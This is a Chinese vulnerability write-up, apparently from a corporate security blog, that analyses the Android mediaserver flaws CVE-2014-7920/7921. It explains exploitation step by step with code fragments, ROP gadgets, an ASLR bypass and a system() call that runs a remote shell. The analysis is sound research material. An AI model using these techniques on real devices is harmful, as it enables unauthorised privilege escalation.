Android提权漏洞CVE-2014-7920CVE-2014-7921分析
作者:没羽@阿里移动安全,更多技术干货,请访问阿里聚安全博客
这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到media权限,其中CVE-2014-7921影响Android 4.0.3及以后的版本,CVE-2014-7920影响Android 2.2及以后的版本。Google直到Android5.1才修复这2个漏洞。该漏洞[1]披露过程如下:
14.10.14 - Vulnerabilities disclosed to Google
21.10.14 - Notified the Android security team that I've written a full exploit
13.12.14 - Sent query to Google regarding the current fix status
03.01.15 - Got response stating that the patches will be rolled out in the upcoming version
03.02.15 - Sent another query to Google
18.02.15 - Got response stating the fix status has not changed
08.03.15 - Sent third query to Google
19.03.15 - Got response saying patches have been pushed into Android 5.1
2016年1月24日漏洞作者发布了漏洞分析及exploit[2],拿到exploit后在几个Android版本上均没能运行成功,遂分析原因,学习漏洞利用思路。记录如下,欢迎大家交流学习。
不熟悉Android Binder的同学,请自行网上搜索学习资料,下面直接分析漏洞。
0x1漏洞成因
前文提到这2个漏洞出在mediaserver,mediaserver在main_mediaserver.cpp[3]实现,其main()函数中初始化了2个service:
一个是AudioFlinger[4],service name为“media.audio_flinger”;另一个是AudioPolicyService[5],service name为“media.audio_policy”。
1.1内存写漏洞
内存写漏洞产生在“media.audio_policy”中,接口类为IAudioPolicyService6,其中startOutput()接口存在递增的内存写漏洞,stopOutput()接口存在递减的内存写漏洞。
startOutput()接口定义为:
startOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
stopOutput ()接口定义为:
stopOutput(audio_io_handle_t output, audio_stream_type_t stream, int session = 0)
1)startOutput的递增写漏洞
熟悉Android Binder的同学都知道,该接口的native类为BnAudioPolicyService[8],当客户端请求“START_OUTPUT”code即startOutput()接口时,BnAudioPolicyService::onTransact()收到请求,然后执行下面的代码:
case START_OUTPUT: {CHECK_INTERFACE(IAudioPolicyService, data, reply);audio_io_handle_t output = static_cast <audio_io_handle_t>(data.readInt32());uint32_t stream = data.readInt32();int session = data.readInt32();reply->writeInt32(static_cast <uint32_t>(startOutput(output,(audio_stream_type_t)stream, session)));return NO_ERROR;} break;
继续调用AudioPolicyService ::startOutput()[9]方法:
mpAudioPolicy->start_output(mpAudioPolicy, output, stream, session);
mpAudioPolicy为audio_policy类型,audio_policy:: start_output()在audio_policy_hal.cpp中被定义为ap_start_output(),该方法调用:
lap->apm->startOutput(output, (AudioSystem::stream_type)stream, session);
lap->apm->startOutput()由AudioPolicyManagerBase:: startOutput()方法实现,该方法调用:
outputDesc->changeRefCount(stream, 1);
我们来看AudioOutputDescriptor:: changeRefCount()[10]方法的代码:
void AudioPolicyManagerBase::AudioOutputDescriptor::changeRefCount(AudioSystem::stream_type stream, int delta)
{// forward usage count change to attached outputsif (isDuplicated()) {mOutput1->changeRefCount(stream, delta);mOutput2->changeRefCount(stream, delta);}if ((delta + (int)mRefCount[stream]) < 0) {ALOGW("changeRefCount() invalid delta %d for stream %d, refCount %d", delta, stream, mRefCount[stream]);mRefCount[stream] = 0;return;}mRefCount[stream] += delta;ALOGV("changeRefCount() stream %d, count %d", stream, mRefCount[stream]);
当2个if语句都为假时,mRefCount[stream] += delta;语句将被执行。
此时如果索引stream可被控制,那么mRefCount内存的相对偏移内存将可被修改为加delta。恰巧stream为接口参数之一,也没校验,在AudioPolicyManagerBase:: startOutput()中传入的delta为1 ,也就是说这里存在一个递增1的内存写漏洞。这个内存写漏洞的产生需要满足以下条件:
isDuplicated()为False:幸运的是默认情况大部分output不是duplicated的。
(delta +(int)mRefCount[stream]) < 0:由于这个判断条件,mRefCount[stream]<0x7FFFFFFF时才会为False,这就限制了这个内存写漏洞,只能对内存内容小于0x7FFFFFFF的内存值进行递增。
2)stopOutput的递减写漏洞
stopOutput()接口类似于startOutput()接口,我们直接看AudioPolicyManagerBase::stopOutput()方法,该方法调用的是:
outputDesc->changeRefCount(stream, -1);
与startOutput()接口类似,也存在相同的写限制,不同的是这递减1的内存写漏洞。
1.2内存读漏洞
内存写漏洞也产生在“media.audio_policy”中,问题出在isStreamActive()接口。该接口定义为:
bool isStreamActive(audio_stream_type_t stream, uint32_t inPastMs)
类似于startOutput()接口,该接口调用了AudioPolicyManagerBase::isStreamActive()方法,该方法调用:
outputDesc->isStreamActive((AudioSystem::stream_type)stream, inPastMs, sysTime);
即AudioOutputDescriptor::isStreamActive()方法,该方法代码为:
bool AudioPolicyManagerBase::AudioOutputDescriptor::isStreamActive(AudioSystem::stream_type stream, uint32_t inPastMs, nsecs_t sysTime) const
{if (mRefCount[stream] != 0) {return true;}if (inPastMs == 0) {return false;}if (sysTime == 0) {sysTime = systemTime();}if (ns2ms(sysTime - mStopTime[stream]) < inPastMs) {return true;}return false;
}
如果根据isStreamActive() 返回值判断mRefCount[stream]是否为0,需要满足2个条件:
mRefCount[stream] != 0;
ns2ms(sysTime - mStopTime[stream]) > inPastMs:
sysTime - mStopTime[stream]为时间差值,为正值,当inPastMs>=0x80000000时,该不等式成立。
所以可以通过控制stream和inPastMs的值判断mRefCount内存相对偏移的值是否为0。
0x2利用之前
2.1利用技巧小结
1)利用内存读,模糊匹配audio_hw_device对象
audio_hw_device这个结构包含了audio硬件设备函数指针,在“media.audio_policy”和“media.audio_flinger” service提供的接口中会被调用,这有利于写exploit。audio_hw_device结构定义如下:
[图片来自原文]
分析发现audio_hw_device对象中reserved和function_ptrs-> get_supported_devices为0,其它字段为非0。该结构用0和非0的形式可表示为:
static const unsigned char g_audio_hw_device_t_template[] = {NOT_ZERO, //tagNOT_ZERO, //versionNOT_ZERO, //module//reservedZERO, ZERO, ZERO, ZERO,ZERO, ZERO, ZERO, ZERO,ZERO, ZERO, ZERO, ZERO,NOT_ZERO, //closeZERO, //get_supported_devices//rest of function pointersNOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO, NOT_ZERO,NOT_ZERO, NOT_ZERO
};
前面提到可以通过isStreamActive()接口判断内存值是否为非0,这样结合audio_hw_device结构的特征在内存中搜索,恰巧在mRefCount的上下内存区域中可以搜索到audio_hw_device对象。
2)利用内存写,泄漏内存地址
“media.audio_flinger”提供了getInputBufferSize()接口[11],接口定义为:
size_t getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask)
其服务端代码为:
size_t AudioFlinger::getInputBufferSize(uint32_t sampleRate, audio_format_t format,audio_channel_mask_t channelMask) const
{status_t ret = initCheck();if (ret != NO_ERROR) {return 0;}AutoMutex lock(mHardwareLock);mHardwareStatus = AUDIO_HW_GET_INPUT_BUFFER_SIZE;struct audio_config config;memset(&config, 0, sizeof(config));config.sample_rate = sampleRate;config.channel_mask = channelMask;config.format = format;audio_hw_device_t *dev = mPrimaryHardwareDev->hwDevice();size_t size = dev->get_input_buffer_size(dev, &config);mHardwareStatus = AUDIO_HW_IDLE;return size;
}
当客户端调用getInputBufferSize()接口,服务端最终调用get_input_buffer_size()即audio_hw.cpp::adev_get_input_buffer_size()函数,最后返回size。由arm指令特性可知,get_input_buffer_size(dev, &config)函数的反汇编中,通过R0传入dev指针,即audio_hw_device对象,函数执行完后,返回值通过R0传回。如果修改get_input_buffer_size函数指针,让其指向“BX LR”,那个就可拿到audio_hw_device对象的内存地址。
恰巧get_input_buffer_size ()函数指针也存储于audio_hw_device对象中,使用内存写漏洞让audio_hw_device. get_input_buffer_size指向一个“BX LR”的地址即可获取audio_hw_device对象地址。
2.2踩到的坑
笔者在调试exploit时发生多次crash,将update后的exploit放在https://github.com/Vinc3nt4H/cve-2014-79...,编译环境:Android 4.3_r2.1,运行环境:AVD 4.3(4.3_r2.1)。
1)搜索audio_hw_device对象时mediaserver crash
在运行exploit时,可以搜索到audio_hw_device对象,但mediaserver crash了,可能是由于搜索的内存范围过大,导致非法内存访问。可缩小搜索范围试试,比如设置MAX_OFFSET为-3000。
2)总是获取不到adev_open_output_stream()地址
笔者在AVD 4.3上使用原gadget read_r0_offset_108,总是获取不到adev_open_output_stream函数的指针,然后在camera.goldfish.so中找了一个gadget(thumb):
.text:0001E290 LDR R0, [R0,#0x6C]
.text:0001E292 BX LR
3)android 4.4.2上crash
开始时笔者在AVD 4.4.2中执行exploit总是不成功,调试发现audio_hw_device. get_input_buffer_size的值被置了0,如下图:
因为mediaserver中加载的audio.primary.goldfish.so基址大于0x7FFFFFFF,也就是mRefCount[offset_get_input_buffer_size] > 0x7FFFFFFF,即为负数,在利用递增1/递减1时,changeRefCount()方法,如果(delta + (int)mRefCount[stream]) < 0,则将mRefCount[stream]置为0。在4.4.2上很难利用成功。
0x3漏洞利用分析
3.1搜索audio_hw_device对象相对偏移
2.1-1中提到利用audio_hw_device结构的特征在mediaserver进程中搜索匹配的对象。利用isStreamActive()的内存读漏洞读取mRefCount附件内存区域生产0/非0的内存映射,然后与audio_hw_device结构特征匹配,计算出audio_hw_device对象相对于mRefCount的相对偏移。
3.2 Bypass ASLR
2.1-2中有提到利用内存写漏洞获取内存地址,接下来我们来分析exploit是如何利用内存写绕过ASLR的。
1)获取audio.primary.goldfish.so基地址
首先修改audio_hw_device. get_input_buffer_size指针的值,get_input_buffer_size原始指向adev_get_input_buffer_size,修改使其指向 camera.goldfish.so::0x1E290+1,记为gadget1,代码如下:
int funcptr_current_value = RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE;int wanted_value = + read_r0_offset_108.library_offset + read_r0_offset_108.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
其中library_offset为所使用的lib基址与audio.primary.goldfish.so库基址之间的偏移,gadget_offset为相对于该lib库基址的偏移;RELATIVE_ADDRESS_OF_GET_INPUT_BUFFER_SIZE为adev_get_input_buffer_size函数地址在audio.primary.goldfish.so中的偏移;modify_value()函数是内存递增1 /递减1操作的封装。gadget1为:
.text:0001E290 LDR R0, [R0,#0x6C]
.text:0001E292 BX LR
然后调用AudioFlinger::getInputBufferSize()跳到gadget1。
uint32_t read_function_pointer_address = af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
gadget1执行时R0为dev即audio_hw_device对象,参考audio_hw_device结构,R0+0x64为open_output_stream即adev_open_output_stream的值,通过R0返回。
uint32_t audio_primary_library_address = read_function_pointer_address - READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS;
再减去adev_open_output_stream在audio.primary.goldfish.so中的偏移READ_FUNCTION_POINTER_OFFSET_FROM_BASE_ADDRESS,即可得到audio.primary.goldfish.so的基址。
2)获取audio_hw_device对象地址
修改audio_hw_device. get_input_buffer_size指针使其指向libcamera_client.so::0x208FC+1,即gadget2:
.text:000208FC BX LR
gadget2运行时直接返回dev(R0)的值,即audio_hw_device对象的地址。
3)设置write gadget
修改audio_hw_device. get_input_buffer_size为libcamera_client.so: 0x208f0+1,记为gadget3,利用代码如下:
wanted_value = + write_gadget_info.library_offset + write_gadget_info.gadget_offset;printf("[+] Modifying value from %d to %d\n", funcptr_current_value, wanted_value);modify_value(aps, match_offset + GET_INPUT_BUFFER_SIZE_OFFSET, wanted_value - funcptr_current_value);
我们再来看看AudioFlinger::getInputBufferSize()方法,其中:
config.sample_rate = sampleRate;
config.channel_mask = channelMask;
config.format = format;
size_t size = dev->get_input_buffer_size(dev, &config);
看gadget3,写数据调用接口getInputBufferSize(address, 0, value)(该接口定义为getInputBufferSize(uint32_tsampleRate, audio_format_t format, audio_channel_mask_t channelMask)),走到get_input_buffer_size(dev, config)时,R0为dev, R1为&config,gadget3执行如下:
.text:000208F0 LDR R2, [R1] ;将config.sample_rate存入R2中,即将address存入R2
.text:000208F2 STR R2, [R0] ;将config.sample_rate存储dev[0]
.text:000208F4 LDR R1, [R1,#4] ;将config.channel_mask存储R1,即将value存入R1
.text:000208F6 LDR.W R2, [R2,#-0xC] ;计算偏移R2 = address - 0xC,在之前已修改了为相应的值(如:12)
.text:000208FA STR R1, [R0,R2] ;将config.channel_mask存储到,即将value存入dev[R2]
.text:000208FC BX LR ;返回
至此我们将audio_hw_device. get_input_buffer_size指向gadget3,再调用getInputBufferSize(address, 0, value)就可以向address-0xC内存写入value。
3.3布局Gadget Buffer
将system()函数地址及参数写到audio_hw_device.reserved中,再修改audio_hw_device.get_input_buffer_size指向一个call gadget,当再次调用get_input_buffer_size()时call gadget被触发。
1)写入system()函数参数
看利用代码:
const char* wanted_path = "/data/local/tmp/a";
uint32_t scratch_pad_address = primary_device_address + 12;
… …
for (int i=0; i<num_of_dwords_in_path; i++)write32(af, aps, scratch_pad_address + i*sizeof(uint32_t), data_ptr[i]);
write32()函数写数据分为2步:
a)设置数据偏移
调用modify_value(aps, g_primary_device_offset + 1, offset - g_current_write_offset);修改dev.version的内容,该字段作为后面数据写入时的数组偏移;dev.version首次从0x200递减直到0xC:
b)写入数据
调用af->getInputBufferSize(g_primary_device_address + sizeof(uint32_t) + 12, (audio_format_t)0, (audio_channel_mask_t)value)触发gadget3执行,调试时断在gadget3上:
此时R0指向dev,R1为&config:
查看[R1]内存,R1[0]为config. sampleRate即address,为要写入的地址,address为&dev[0]+4+12, R1[1]为config. channelMask即value ,值为“/dat”:
gadget3的伪代码大致如下:
R2 = address;dev[0] = R2;R1 = value;R2 = [R2-0xC];//R2-0xC=>dev+4,指向dev.version,存储写入偏移dev[R2] = R1;//写入value
该gadget(某次)运行完后,数据已被写入audio_hw_device对象中:
2)写入system()函数地址
根据audio.primary.goldfish.so的基址计算出system()函数的地址,调用gadget3写到dev+36:
uint32_t system_address = audio_primary_library_address + system_gadget.library_offset +system_gadget.gadget_offset;printf("[+] Calculated system address: %08X\n", system_address);
printf("[+] Writing parameters to addresses %08X, %08X\n", primary_device_address + 88, primary_device_address + 96);write32(af, aps, primary_device_address + 32, scratch_pad_address);
write32(af, aps, primary_device_address + 36, system_address);
3)写入call gadget
调用gadget3修改audio_hw_device. get_input_buffer_size指针的值,使用指向,libstagefright.so: 0x5EF88+1,记为gadget4。
uint32_t blx_gadget_address = audio_primary_library_address + blx_gadget.library_offset +blx_gadget.gadget_offset;
printf("[+] Calculated blx gadget address: %08X\n", blx_gadget_address);
write32(af, aps, primary_device_address + GET_INPUT_BUFFER_SIZE_OFFSET*sizeof(uint32_t), blx_gadget_address);
gadget4:
.text:0005EF88 LDR R3, [R0,#36] ;system()
.text:0005EF8A LDR R0, [R0,#32] ; 将参数/data/local/tmp/a的指针加载到R0
.text:0005EF8C BLX R3
3.4触发代码执行
利用代码为:
af->getInputBufferSize(0, (audio_format_t)0, (audio_channel_mask_t)0);
当调用getInputBufferSize()时触发gadget4执行:
寄存器值:
调用system()函数,加载外命令/data/local/tmp/a。笔者写了个远程shell命名为a,下图是运行成功后获取的shell,为“media”权限:
0x4参考链接
[1]http://bits-please.blogspot.com/2016/01/...
[2]https://github.com/laginimaineb/cve-2014...
[3]http://androidxref.com/4.3_r2.1/xref/fra...
[4]http://androidxref.com/4.3_r2.1/xref/fra...
[5]http://androidxref.com/4.3_r2.1/xref/fra...
[6]http://androidxref.com/4.3_r2.1/xref/fra...
[7]http://androidxref.com/4.3_r2.1/xref/fra...
[8]http://androidxref.com/4.3_r2.1/xref/fra...
[9]http://androidxref.com/4.3_r2.1/xref/fra...
[10]http://androidxref.com/4.3_r2.1/xref/har...
[11]http://androidxref.com/4.3_r2.1/xref/fra...
[12]https://github.com/Vinc3nt4H/cve-2014-79...
作者:没羽@阿里移动安全,更多技术干货,请访问阿里聚安全博客
Android提权漏洞CVE-2014-7920CVE-2014-7921分析相关推荐
- Android提权漏洞CVE-2014-7920CVE-2014-7921分析 1
没羽@阿里移动安全,更多安全类技术干货,请访问阿里聚安全博客 这是Android mediaserver的提权漏洞,利用CVE-2014-7920和CVE-2014-7921实现提权,从0权限提到me ...
- Android提权漏洞CVE-2014-7920、CVE-2014-7921
转载于:https://www.cnblogs.com/fply/p/8513883.html
- CVE-2014-7911 Android本地提权漏洞分析与利用
概述 前面我们了解了Android Binder机制的基本原理,当然仅仅了解是不够的,我们要做到:Know it and hack it.这篇文章我们就来分析一个和Binder相关的漏洞:CVE-20 ...
- android super参数,Android Superuser 提权漏洞分析
近日,国外安全研究人员揭露多款Android平台下的授权应用管理软件存在3个安全漏洞,利用漏洞可进行root. TSRC也对这3个Android Superuser 提权漏洞进行了分析,具体分析情况请 ...
- 脏牛Linux本地提权漏洞复现(CVE2016-5195)
漏洞介绍: 脏牛漏洞(CVE2016-5195)是公开后影响范围最广和最深的漏洞之一,到2016被修复只十年来的每一个linux版本包括Android,桌面版和服务器版都受其影响.恶意攻击者可以轻易绕 ...
- Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328
Linux Privilege Escalation Kernel Exploits | Linux本地内核提权漏洞复现 CVE-2015-1328 文章目录 Linux Privilege Esca ...
- cve-2014-7911安卓提权漏洞分析
小荷才露尖尖角 · 2015/05/22 10:41 0x00 简介 CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用 ...
- Apache 服务器存在高危提权漏洞,请升级至最新版本 2.4.39
百度智能云 云生态狂欢季 热门云产品1折起>>> Apache HTTP 服务器于4月1日发布了最新的稳定版本 2.4.39,主要是修复安全问题.点此进行下载. 在发布更新不久后 ...
- linux内核通用提权漏洞expliot 脏牛Dirty COW
0x01 漏洞简介 Linux内核在处理内存写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射.一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可 ...
最新文章
- 一根烟上热搜,先让AI看看你的肺
- 容器必须设置宽度吗_消防泵必须设置自动巡检柜吗
- 根据当前时间获取本周,下周,上周日期
- wampserver配置服务
- apache开启.htaccess
- 您可能不知道的ASP.Net小技巧
- 软件生成目录没有图框_图纸目录和编号
- DIV+CSS 入门
- Python学习week2
- 如何自学python知乎-你是如何自学 Python 的?
- Python调用自己写的模块
- python collections.Counter
- python绘制贝塞尔曲线_贝塞尔曲线数学原理及Python实现
- myscript 思路整理
- php 数字转人民币,php数字转人民币金额大写
- 2022年最好的游戏引擎是什么?
- bigquery json处理函数json_extract和json_extract_scalar的区别
- DAEMON 中的 SPTD 和 发生sptd.sys 错误的处理办法~
- Q4财报发布,腾讯音乐高质量增长背后的创新进化论
- ios手机编辑html转pdf文件,苹果手机居然能一键转换PDF文件?iPhone老司机才知道...
热门文章
- ITK:从体积生成切片
- VTK:PolyData之MultiBlockMergeFilter
- OpenCV为Halide后端安排网络
- C语言求最大公约数GCD的算法(附完整源码)
- OpenGL创建一个GLFW背景红色窗口的实例
- 虚函数(virtual)可以是内联函数(inline)吗?
- 解决error C2760:语法错误: 意外的令牌“标识符”,预期的令牌为“类型说明符”
- C++11新特性-容器的cbegin和cend函数
- android模拟器后台截屏,【Android】Android模拟器下截屏及格式转换
- oracle 0值处理判断,ORACLE数据统计0的处理